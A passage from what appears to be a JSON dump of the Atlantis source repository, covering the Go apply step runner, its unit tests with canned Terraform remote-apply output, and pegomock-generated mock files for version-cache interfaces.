This is determined by looking at the current command output provided by\n// applyLines.\nfunc (a *ApplyStepRunner) atConfirmApplyPrompt(applyLines []string) bool {\n\twaitingMatchLines := strings.Split(waitingForConfirmation, \"\\n\")\n\treturn len(applyLines) >= len(waitingMatchLines) && reflect.DeepEqual(applyLines[len(applyLines)-len(waitingMatchLines):], waitingMatchLines)\n}\n\n// planChangedErrFmt is the error we print to pull requests when the plan changed\n// between remote terraform plan and apply phases.\nvar planChangedErrFmt = `Plan generated during apply phase did not match plan generated during plan phase.\nAborting apply.\n\nExpected Plan:\n\n%s\n**************************************************\n\nActual Plan:\n\n%s\n**************************************************\n\nThis likely occurred because someone applied a change to this state in-between\nyour plan and apply commands.\nTo resolve, re-run plan.`\n\n// waitingForConfirmation is what is printed during a remote apply when\n// terraform is waiting for confirmation to apply the plan.\nvar waitingForConfirmation = `  Terraform will perform the actions described above.\n  Only 'yes' will be accepted to approve.`\n"
  },
  {
    "path": "server/core/runtime/apply_step_runner_internal_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage runtime\n\nimport (\n\t\"testing\"\n\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestCleanRemoteOpOutput(t *testing.T) {\n\tcases := []struct {\n\t\tout string\n\t\texp string\n\t}{\n\t\t{\n\t\t\t`\nRunning apply in the remote backend. Output will stream here. Pressing Ctrl-C\nwill cancel the remote apply if its still pending. If the apply started it\nwill stop streaming the logs, but will not stop the apply running remotely.\n\nPreparing the remote apply...\n\nTo view this run in a browser, visit:\nhttps://app.terraform.io/app/lkysow-enterprises/atlantis-tfe-test-dir2/runs/run-BCzC79gMDNmGU76T\n\nWaiting for the plan to start...\n\nTerraform v0.11.11\n\nConfiguring remote state backend...\nInitializing Terraform configuration...\n2019/02/27 21:47:23 [DEBUG] Using modified User-Agent: Terraform/0.11.11 TFE/d161c1b\nRefreshing Terraform state in-memory prior to plan...\nThe refreshed state will be used to calculate this plan, but will not be\npersisted to local or remote state storage.\n\nnull_resource.dir2[1]: Refreshing state... (ID: 8554368366766418126)\nnull_resource.dir2: Refreshing state... (ID: 8492616078576984857)\n\n------------------------------------------------------------------------\n\nAn execution plan has been generated and is shown below.\nResource actions are indicated with the following symbols:\n  - destroy\n\nTerraform will perform the following actions:\n\n  - null_resource.dir2[1]\n\n\nPlan: 0 to add, 0 to change, 1 to destroy.\n\nDo you want to perform these actions in workspace \"atlantis-tfe-test-dir2\"?\n  Terraform will perform the actions described above.\n  Only 'yes' will be accepted to approve.\n\n  Enter a value: \n2019/02/27 21:47:36 [DEBUG] Using modified User-Agent: Terraform/0.11.11 TFE/d161c1b\nnull_resource.dir2[1]: Destroying... (ID: 8554368366766418126)\nnull_resource.dir2[1]: Destruction complete after 0s\n\nApply complete! Resources: 0 added, 0 changed, 1 destroyed.\n`,\n\t\t\t`2019/02/27 21:47:36 [DEBUG] Using modified User-Agent: Terraform/0.11.11 TFE/d161c1b\nnull_resource.dir2[1]: Destroying... (ID: 8554368366766418126)\nnull_resource.dir2[1]: Destruction complete after 0s\n\nApply complete! Resources: 0 added, 0 changed, 1 destroyed.\n`,\n\t\t},\n\t\t{\n\t\t\t\"nodelim\",\n\t\t\t\"nodelim\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.exp, func(t *testing.T) {\n\t\t\ta := ApplyStepRunner{}\n\t\t\tEquals(t, c.exp, a.cleanRemoteApplyOutput(c.out))\n\t\t})\n\t}\n}\n\n// Test: works normally, sends yes, updates run urls\n// Test: if plans don't match, sends no\n"
  },
  {
    "path": "server/core/runtime/apply_step_runner_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage runtime_test\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"sync\"\n\t\"testing\"\n\n\tversion \"github.com/hashicorp/go-version\"\n\t. \"github.com/petergtz/pegomock/v4\"\n\t\"github.com/runatlantis/atlantis/server/core/runtime\"\n\truntimemocks \"github.com/runatlantis/atlantis/server/core/runtime/mocks\"\n\truntimemodels \"github.com/runatlantis/atlantis/server/core/runtime/models\"\n\ttf \"github.com/runatlantis/atlantis/server/core/terraform\"\n\t\"github.com/runatlantis/atlantis/server/core/terraform/mocks\"\n\ttfclientmocks \"github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestRun_NoDir(t *testing.T) {\n\to := runtime.ApplyStepRunner{\n\t\tTerraformExecutor: nil,\n\t}\n\t_, err := o.Run(command.ProjectContext{\n\t\tRepoRelDir: \".\",\n\t\tWorkspace:  \"workspace\",\n\t}, nil, \"/nonexistent/path\", map[string]string(nil))\n\tErrEquals(t, \"no plan found at path \\\".\\\" and workspace \\\"workspace\\\"–did you run plan?\", err)\n}\n\nfunc TestRun_NoPlanFile(t *testing.T) {\n\ttmpDir := t.TempDir()\n\to := runtime.ApplyStepRunner{\n\t\tTerraformExecutor: nil,\n\t}\n\t_, err := o.Run(command.ProjectContext{\n\t\tRepoRelDir: \".\",\n\t\tWorkspace:  \"workspace\",\n\t}, nil, tmpDir, map[string]string(nil))\n\tErrEquals(t, \"no plan found at path \\\".\\\" and workspace \\\"workspace\\\"–did you run plan?\", err)\n}\n\nfunc TestRun_Success(t *testing.T) {\n\ttmpDir := t.TempDir()\n\tplanPath := filepath.Join(tmpDir, \"workspace.tfplan\")\n\terr := os.WriteFile(planPath, nil, 0600)\n\tlogger := logging.NewNoopLogger(t)\n\tctx := command.ProjectContext{\n\t\tLog:                logger,\n\t\tWorkspace:          \"workspace\",\n\t\tRepoRelDir:         \".\",\n\t\tEscapedCommentArgs: []string{\"comment\", \"args\"},\n\t}\n\tOk(t, err)\n\n\tRegisterMockTestingT(t)\n\tterraform := tfclientmocks.NewMockClient()\n\tmockDownloader := mocks.NewMockDownloader()\n\ttfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader)\n\to := runtime.ApplyStepRunner{\n\t\tTerraformExecutor:     terraform,\n\t\tDefaultTFDistribution: tfDistribution,\n\t}\n\n\tWhen(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())).\n\t\tThenReturn(\"output\", nil)\n\toutput, err := o.Run(ctx, []string{\"extra\", \"args\"}, tmpDir, map[string]string(nil))\n\tOk(t, err)\n\tEquals(t, \"output\", output)\n\tterraform.VerifyWasCalledOnce().RunCommandWithVersion(ctx, tmpDir, []string{\"apply\", \"-input=false\", \"extra\", \"args\", \"comment\", \"args\", fmt.Sprintf(\"%q\", planPath)}, map[string]string(nil), tfDistribution, nil, \"workspace\")\n\t_, err = os.Stat(planPath)\n\tAssert(t, os.IsNotExist(err), \"planfile should be deleted\")\n}\n\nfunc TestRun_AppliesCorrectProjectPlan(t *testing.T) {\n\t// When running for a project, the planfile has a different name.\n\ttmpDir := t.TempDir()\n\tplanPath := filepath.Join(tmpDir, \"projectname-default.tfplan\")\n\terr := os.WriteFile(planPath, nil, 0600)\n\n\tlogger := logging.NewNoopLogger(t)\n\tctx := command.ProjectContext{\n\t\tLog:                logger,\n\t\tWorkspace:          \"default\",\n\t\tRepoRelDir:         \".\",\n\t\tProjectName:        \"projectname\",\n\t\tEscapedCommentArgs: []string{\"comment\", \"args\"},\n\t}\n\tOk(t, err)\n\n\tRegisterMockTestingT(t)\n\tterraform := tfclientmocks.NewMockClient()\n\tmockDownloader := mocks.NewMockDownloader()\n\ttfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader)\n\to := runtime.ApplyStepRunner{\n\t\tTerraformExecutor:     terraform,\n\t\tDefaultTFDistribution: tfDistribution,\n\t}\n\tWhen(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())).\n\t\tThenReturn(\"output\", nil)\n\toutput, err := o.Run(ctx, []string{\"extra\", \"args\"}, tmpDir, map[string]string(nil))\n\tOk(t, err)\n\tEquals(t, \"output\", output)\n\tterraform.VerifyWasCalledOnce().RunCommandWithVersion(ctx, tmpDir, []string{\"apply\", \"-input=false\", \"extra\", \"args\", \"comment\", \"args\", fmt.Sprintf(\"%q\", planPath)}, map[string]string(nil), tfDistribution, nil, \"default\")\n\t_, err = os.Stat(planPath)\n\tAssert(t, os.IsNotExist(err), \"planfile should be deleted\")\n}\n\nfunc TestApplyStepRunner_TestRun_UsesConfiguredTFVersion(t *testing.T) {\n\ttmpDir := t.TempDir()\n\tplanPath := filepath.Join(tmpDir, \"workspace.tfplan\")\n\terr := os.WriteFile(planPath, nil, 0600)\n\tOk(t, err)\n\n\tlogger := logging.NewNoopLogger(t)\n\ttfVersion, _ := version.NewVersion(\"0.11.0\")\n\tctx := command.ProjectContext{\n\t\tWorkspace:          \"workspace\",\n\t\tRepoRelDir:         \".\",\n\t\tEscapedCommentArgs: []string{\"comment\", \"args\"},\n\t\tTerraformVersion:   tfVersion,\n\t\tLog:                logger,\n\t}\n\n\tRegisterMockTestingT(t)\n\tterraform := tfclientmocks.NewMockClient()\n\tmockDownloader := mocks.NewMockDownloader()\n\ttfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader)\n\to := runtime.ApplyStepRunner{\n\t\tTerraformExecutor:     terraform,\n\t\tDefaultTFDistribution: tfDistribution,\n\t}\n\tWhen(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())).\n\t\tThenReturn(\"output\", nil)\n\toutput, err := o.Run(ctx, []string{\"extra\", \"args\"}, tmpDir, map[string]string(nil))\n\tOk(t, err)\n\tEquals(t, \"output\", output)\n\tterraform.VerifyWasCalledOnce().RunCommandWithVersion(ctx, tmpDir, []string{\"apply\", \"-input=false\", \"extra\", \"args\", \"comment\", \"args\", fmt.Sprintf(\"%q\", planPath)}, map[string]string(nil), tfDistribution, tfVersion, \"workspace\")\n\t_, err = os.Stat(planPath)\n\tAssert(t, os.IsNotExist(err), \"planfile should be deleted\")\n}\n\nfunc TestApplyStepRunner_TestRun_UsesConfiguredDistribution(t *testing.T) {\n\ttmpDir := t.TempDir()\n\tplanPath := filepath.Join(tmpDir, \"workspace.tfplan\")\n\terr := os.WriteFile(planPath, nil, 0600)\n\tOk(t, err)\n\n\tlogger := logging.NewNoopLogger(t)\n\tmockDownloader := mocks.NewMockDownloader()\n\ttfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader)\n\ttfVersion, _ := version.NewVersion(\"0.11.0\")\n\tprojTFDistribution := \"opentofu\"\n\tctx := command.ProjectContext{\n\t\tWorkspace:             \"workspace\",\n\t\tRepoRelDir:            \".\",\n\t\tEscapedCommentArgs:    []string{\"comment\", \"args\"},\n\t\tTerraformDistribution: &projTFDistribution,\n\t\tLog:                   logger,\n\t}\n\n\tRegisterMockTestingT(t)\n\tterraform := tfclientmocks.NewMockClient()\n\to := runtime.ApplyStepRunner{\n\t\tTerraformExecutor:     terraform,\n\t\tDefaultTFDistribution: tfDistribution,\n\t\tDefaultTFVersion:      tfVersion,\n\t}\n\tWhen(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), NotEq[tf.Distribution](tfDistribution), Any[*version.Version](), Any[string]())).\n\t\tThenReturn(\"output\", nil)\n\toutput, err := o.Run(ctx, []string{\"extra\", \"args\"}, tmpDir, map[string]string(nil))\n\tOk(t, err)\n\tEquals(t, \"output\", output)\n\tterraform.VerifyWasCalledOnce().RunCommandWithVersion(Eq(ctx), Eq(tmpDir), Eq([]string{\"apply\", \"-input=false\", \"extra\", \"args\", \"comment\", \"args\", fmt.Sprintf(\"%q\", planPath)}), Eq(map[string]string(nil)), NotEq[tf.Distribution](tfDistribution), Eq(tfVersion), Eq(\"workspace\"))\n\t_, err = os.Stat(planPath)\n\tAssert(t, os.IsNotExist(err), \"planfile should be deleted\")\n}\n\n// Apply ignores the -target flag when used with a planfile so we should give\n// an error if it's being used with -target.\nfunc TestRun_UsingTarget(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tcases := []struct {\n\t\tcommentFlags []string\n\t\textraArgs    []string\n\t\texpErr       bool\n\t}{\n\t\t{\n\t\t\tcommentFlags: []string{\"-target\", \"mytarget\"},\n\t\t\texpErr:       true,\n\t\t},\n\t\t{\n\t\t\tcommentFlags: []string{\"-target=mytarget\"},\n\t\t\texpErr:       true,\n\t\t},\n\t\t{\n\t\t\textraArgs: []string{\"-target\", \"mytarget\"},\n\t\t\texpErr:    true,\n\t\t},\n\t\t{\n\t\t\textraArgs: []string{\"-target=mytarget\"},\n\t\t\texpErr:    true,\n\t\t},\n\t\t{\n\t\t\tcommentFlags: []string{\"-target\", \"mytarget\"},\n\t\t\textraArgs:    []string{\"-target=mytarget\"},\n\t\t\texpErr:       true,\n\t\t},\n\t\t// Test false positives.\n\t\t{\n\t\t\tcommentFlags: []string{\"-targethahagotcha\"},\n\t\t\texpErr:       false,\n\t\t},\n\t\t{\n\t\t\textraArgs: []string{\"-targethahagotcha\"},\n\t\t\texpErr:    false,\n\t\t},\n\t\t{\n\t\t\tcommentFlags: []string{\"-targeted=weird\"},\n\t\t\texpErr:       false,\n\t\t},\n\t\t{\n\t\t\textraArgs: []string{\"-targeted=weird\"},\n\t\t\texpErr:    false,\n\t\t},\n\t}\n\n\tRegisterMockTestingT(t)\n\n\tfor _, c := range cases {\n\t\tdescrip := fmt.Sprintf(\"comments flags: %s extra args: %s\",\n\t\t\tstrings.Join(c.commentFlags, \", \"), strings.Join(c.extraArgs, \", \"))\n\t\tt.Run(descrip, func(t *testing.T) {\n\t\t\ttmpDir := t.TempDir()\n\t\t\tplanPath := filepath.Join(tmpDir, \"workspace.tfplan\")\n\t\t\terr := os.WriteFile(planPath, nil, 0600)\n\t\t\tOk(t, err)\n\t\t\tterraform := tfclientmocks.NewMockClient()\n\t\t\tstep := runtime.ApplyStepRunner{\n\t\t\t\tTerraformExecutor: terraform,\n\t\t\t}\n\n\t\t\toutput, err := step.Run(command.ProjectContext{\n\t\t\t\tLog:                logger,\n\t\t\t\tWorkspace:          \"workspace\",\n\t\t\t\tRepoRelDir:         \".\",\n\t\t\t\tEscapedCommentArgs: c.commentFlags,\n\t\t\t}, c.extraArgs, tmpDir, map[string]string(nil))\n\t\t\tEquals(t, \"\", output)\n\t\t\tif c.expErr {\n\t\t\t\tErrEquals(t, \"cannot run apply with -target because we are applying an already generated plan. Instead, run -target with atlantis plan\", err)\n\t\t\t} else {\n\t\t\t\tOk(t, err)\n\t\t\t}\n\t\t})\n\t}\n}\n\n// Test that apply works for remote applies.\nfunc TestRun_RemoteApply_Success(t *testing.T) {\n\ttmpDir := t.TempDir()\n\tplanPath := filepath.Join(tmpDir, \"workspace.tfplan\")\n\tplanFileContents := `\nAn execution plan has been generated and is shown below.\nResource actions are indicated with the following symbols:\n  - destroy\n\nTerraform will perform the following actions:\n\n  - null_resource.hi[1]\n\n\nPlan: 0 to add, 0 to change, 1 to destroy.`\n\terr := os.WriteFile(planPath, []byte(\"Atlantis: this plan was created by remote ops\\n\"+planFileContents), 0600)\n\tOk(t, err)\n\n\tRegisterMockTestingT(t)\n\ttfOut := fmt.Sprintf(preConfirmOutFmt, planFileContents) + postConfirmOut\n\ttfExec := &remoteApplyMock{LinesToSend: tfOut, DoneCh: make(chan bool)}\n\tupdater := runtimemocks.NewMockStatusUpdater()\n\to := runtime.ApplyStepRunner{\n\t\tAsyncTFExec:         tfExec,\n\t\tCommitStatusUpdater: updater,\n\t}\n\ttfVersion, _ := version.NewVersion(\"0.11.0\")\n\tctx := command.ProjectContext{\n\t\tLog:                logging.NewNoopLogger(t),\n\t\tWorkspace:          \"workspace\",\n\t\tRepoRelDir:         \".\",\n\t\tEscapedCommentArgs: []string{\"comment\", \"args\"},\n\t\tTerraformVersion:   tfVersion,\n\t}\n\toutput, err := o.Run(ctx, []string{\"extra\", \"args\"}, tmpDir, map[string]string(nil))\n\t<-tfExec.DoneCh\n\n\tOk(t, err)\n\tEquals(t, \"yes\\n\", tfExec.PassedInput)\n\tEquals(t, `\n2019/02/27 21:47:36 [DEBUG] Using modified User-Agent: Terraform/0.11.11 TFE/d161c1b\nnull_resource.dir2[1]: Destroying... (ID: 8554368366766418126)\nnull_resource.dir2[1]: Destruction complete after 0s\n\nApply complete! Resources: 0 added, 0 changed, 1 destroyed.\n`, output)\n\n\tEquals(t, []string{\"apply\", \"-input=false\", \"-no-color\", \"extra\", \"args\", \"comment\", \"args\"}, tfExec.CalledArgs)\n\t_, err = os.Stat(planPath)\n\tAssert(t, os.IsNotExist(err), \"planfile should be deleted\")\n\n\t// Check that the status was updated with the run url.\n\trunURL := \"https://app.terraform.io/app/lkysow-enterprises/atlantis-tfe-test-dir2/runs/run-PiDsRYKGcerTttV2\"\n\tupdater.VerifyWasCalledOnce().UpdateProject(ctx, command.Apply, models.PendingCommitStatus, runURL, nil)\n\tupdater.VerifyWasCalledOnce().UpdateProject(ctx, command.Apply, models.SuccessCommitStatus, runURL, nil)\n}\n\n// Test that if the plan is different, we error out.\nfunc TestRun_RemoteApply_PlanChanged(t *testing.T) {\n\ttmpDir := t.TempDir()\n\tplanPath := filepath.Join(tmpDir, \"workspace.tfplan\")\n\tplanFileContents := `\nAn execution plan has been generated and is shown below.\nResource actions are indicated with the following symbols:\n  - destroy\n\nTerraform will perform the following actions:\n\n  - null_resource.hi[1]\n\n\nPlan: 0 to add, 0 to change, 1 to destroy.`\n\terr := os.WriteFile(planPath, []byte(\"Atlantis: this plan was created by remote ops\\n\"+planFileContents), 0600)\n\tOk(t, err)\n\n\tRegisterMockTestingT(t)\n\ttfOut := fmt.Sprintf(preConfirmOutFmt, \"not the expected plan!\") + noConfirmationOut\n\ttfExec := &remoteApplyMock{\n\t\tLinesToSend: tfOut,\n\t\tErr:         errors.New(\"exit status 1\"),\n\t\tDoneCh:      make(chan bool),\n\t}\n\to := runtime.ApplyStepRunner{\n\t\tAsyncTFExec:         tfExec,\n\t\tCommitStatusUpdater: runtimemocks.NewMockStatusUpdater(),\n\t}\n\ttfVersion, _ := version.NewVersion(\"0.11.0\")\n\n\toutput, err := o.Run(command.ProjectContext{\n\t\tLog:                logging.NewNoopLogger(t),\n\t\tWorkspace:          \"workspace\",\n\t\tRepoRelDir:         \".\",\n\t\tEscapedCommentArgs: []string{\"comment\", \"args\"},\n\t\tTerraformVersion:   tfVersion,\n\t}, []string{\"extra\", \"args\"}, tmpDir, map[string]string(nil))\n\t<-tfExec.DoneCh\n\tErrEquals(t, `Plan generated during apply phase did not match plan generated during plan phase.\nAborting apply.\n\nExpected Plan:\n\nAn execution plan has been generated and is shown below.\nResource actions are indicated with the following symbols:\n  - destroy\n\nTerraform will perform the following actions:\n\n  - null_resource.hi[1]\n\n\nPlan: 0 to add, 0 to change, 1 to destroy.\n**************************************************\n\nActual Plan:\n\nnot the expected plan!\n**************************************************\n\nThis likely occurred because someone applied a change to this state in-between\nyour plan and apply commands.\nTo resolve, re-run plan.`, err)\n\tEquals(t, \"\", output)\n\tEquals(t, \"no\\n\", tfExec.PassedInput)\n\n\t// Planfile should not be deleted.\n\t_, err = os.Stat(planPath)\n\tOk(t, err)\n}\n\ntype remoteApplyMock struct {\n\t// LinesToSend will be sent on the channel.\n\tLinesToSend string\n\t// Err will be sent on the channel after all LinesToSend.\n\tErr error\n\t// CalledArgs is what args we were called with.\n\tCalledArgs []string\n\t// PassedInput is set to the last string passed to our input channel.\n\tPassedInput string\n\t// DoneCh callers should wait on the done channel to ensure we're done.\n\tDoneCh chan bool\n}\n\n// RunCommandAsync fakes out running terraform async.\nfunc (r *remoteApplyMock) RunCommandAsync(_ command.ProjectContext, _ string, args []string, _ map[string]string, _ tf.Distribution, _ *version.Version, _ string) (chan<- string, <-chan runtimemodels.Line) {\n\tr.CalledArgs = args\n\n\tin := make(chan string)\n\tout := make(chan runtimemodels.Line)\n\n\t// We use a wait group to ensure our sending and receiving routines have\n\t// completed.\n\twg := new(sync.WaitGroup)\n\twg.Add(2)\n\tgo func() {\n\t\twg.Wait()\n\t\t// When they're done, we signal the done channel.\n\t\tr.DoneCh <- true\n\t}()\n\n\t// Asynchronously process input.\n\tgo func() {\n\t\tinLine := <-in\n\t\tr.PassedInput = inLine\n\t\tclose(in)\n\t\twg.Done()\n\t}()\n\n\t// Asynchronously send the lines we're supposed to.\n\tgo func() {\n\t\tfor line := range strings.SplitSeq(r.LinesToSend, \"\\n\") {\n\t\t\tout <- runtimemodels.Line{Line: line}\n\t\t}\n\t\tif r.Err != nil {\n\t\t\tout <- runtimemodels.Line{Err: r.Err}\n\t\t}\n\t\tclose(out)\n\t\twg.Done()\n\t}()\n\treturn in, out\n}\n\nvar preConfirmOutFmt = `\nRunning apply in the remote backend. Output will stream here. Pressing Ctrl-C\nwill cancel the remote apply if its still pending. If the apply started it\nwill stop streaming the logs, but will not stop the apply running remotely.\n\nPreparing the remote apply...\n\nTo view this run in a browser, visit:\nhttps://app.terraform.io/app/lkysow-enterprises/atlantis-tfe-test-dir2/runs/run-PiDsRYKGcerTttV2\n\nWaiting for the plan to start...\n\nTerraform v0.11.11\n\nConfiguring remote state backend...\nInitializing Terraform configuration...\n2019/02/27 21:50:44 [DEBUG] Using modified User-Agent: Terraform/0.11.11 TFE/d161c1b\nRefreshing Terraform state in-memory prior to plan...\nThe refreshed state will be used to calculate this plan, but will not be\npersisted to local or remote state storage.\n\nnull_resource.dir2[0]: Refreshing state... (ID: 8492616078576984857)\n\n------------------------------------------------------------------------\n%s\n\nDo you want to perform these actions in workspace \"atlantis-tfe-test-dir2\"?\n  Terraform will perform the actions described above.\n  Only 'yes' will be accepted to approve.\n\n  Enter a value: `\n\nvar postConfirmOut = `\n\n2019/02/27 21:47:36 [DEBUG] Using modified User-Agent: Terraform/0.11.11 TFE/d161c1b\nnull_resource.dir2[1]: Destroying... (ID: 8554368366766418126)\nnull_resource.dir2[1]: Destruction complete after 0s\n\nApply complete! Resources: 0 added, 0 changed, 1 destroyed.\n`\n\nvar noConfirmationOut = `\n\nError: Apply discarded.\n`\n"
  },
  {
    "path": "server/core/runtime/cache/mocks/mock_key_serializer.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/core/runtime/cache (interfaces: KeySerializer)\n\npackage mocks\n\nimport (\n\tgo_version \"github.com/hashicorp/go-version\"\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockKeySerializer struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockKeySerializer(options ...pegomock.Option) *MockKeySerializer {\n\tmock := &MockKeySerializer{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockKeySerializer) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockKeySerializer) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockKeySerializer) Serialize(key *go_version.Version) (string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockKeySerializer().\")\n\t}\n\t_params := []pegomock.Param{key}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"Serialize\", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 string\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(string)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockKeySerializer) VerifyWasCalledOnce() *VerifierMockKeySerializer {\n\treturn &VerifierMockKeySerializer{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockKeySerializer) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockKeySerializer {\n\treturn &VerifierMockKeySerializer{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockKeySerializer) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockKeySerializer {\n\treturn &VerifierMockKeySerializer{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockKeySerializer) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockKeySerializer {\n\treturn &VerifierMockKeySerializer{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockKeySerializer struct {\n\tmock                   *MockKeySerializer\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockKeySerializer) Serialize(key *go_version.Version) *MockKeySerializer_Serialize_OngoingVerification {\n\t_params := []pegomock.Param{key}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Serialize\", _params, verifier.timeout)\n\treturn &MockKeySerializer_Serialize_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockKeySerializer_Serialize_OngoingVerification struct {\n\tmock              *MockKeySerializer\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockKeySerializer_Serialize_OngoingVerification) GetCapturedArguments() *go_version.Version {\n\tkey := c.GetAllCapturedArguments()\n\treturn key[len(key)-1]\n}\n\nfunc (c *MockKeySerializer_Serialize_OngoingVerification) GetAllCapturedArguments() (_param0 []*go_version.Version) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]*go_version.Version, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(*go_version.Version)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/core/runtime/cache/mocks/mock_version_path.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/core/runtime/cache (interfaces: ExecutionVersionCache)\n\npackage mocks\n\nimport (\n\tgo_version \"github.com/hashicorp/go-version\"\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockExecutionVersionCache struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockExecutionVersionCache(options ...pegomock.Option) *MockExecutionVersionCache {\n\tmock := &MockExecutionVersionCache{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockExecutionVersionCache) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockExecutionVersionCache) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockExecutionVersionCache) Get(key *go_version.Version) (string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockExecutionVersionCache().\")\n\t}\n\t_params := []pegomock.Param{key}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"Get\", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 string\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(string)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockExecutionVersionCache) VerifyWasCalledOnce() *VerifierMockExecutionVersionCache {\n\treturn &VerifierMockExecutionVersionCache{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockExecutionVersionCache) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockExecutionVersionCache {\n\treturn &VerifierMockExecutionVersionCache{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockExecutionVersionCache) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockExecutionVersionCache {\n\treturn &VerifierMockExecutionVersionCache{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockExecutionVersionCache) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockExecutionVersionCache {\n\treturn &VerifierMockExecutionVersionCache{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype 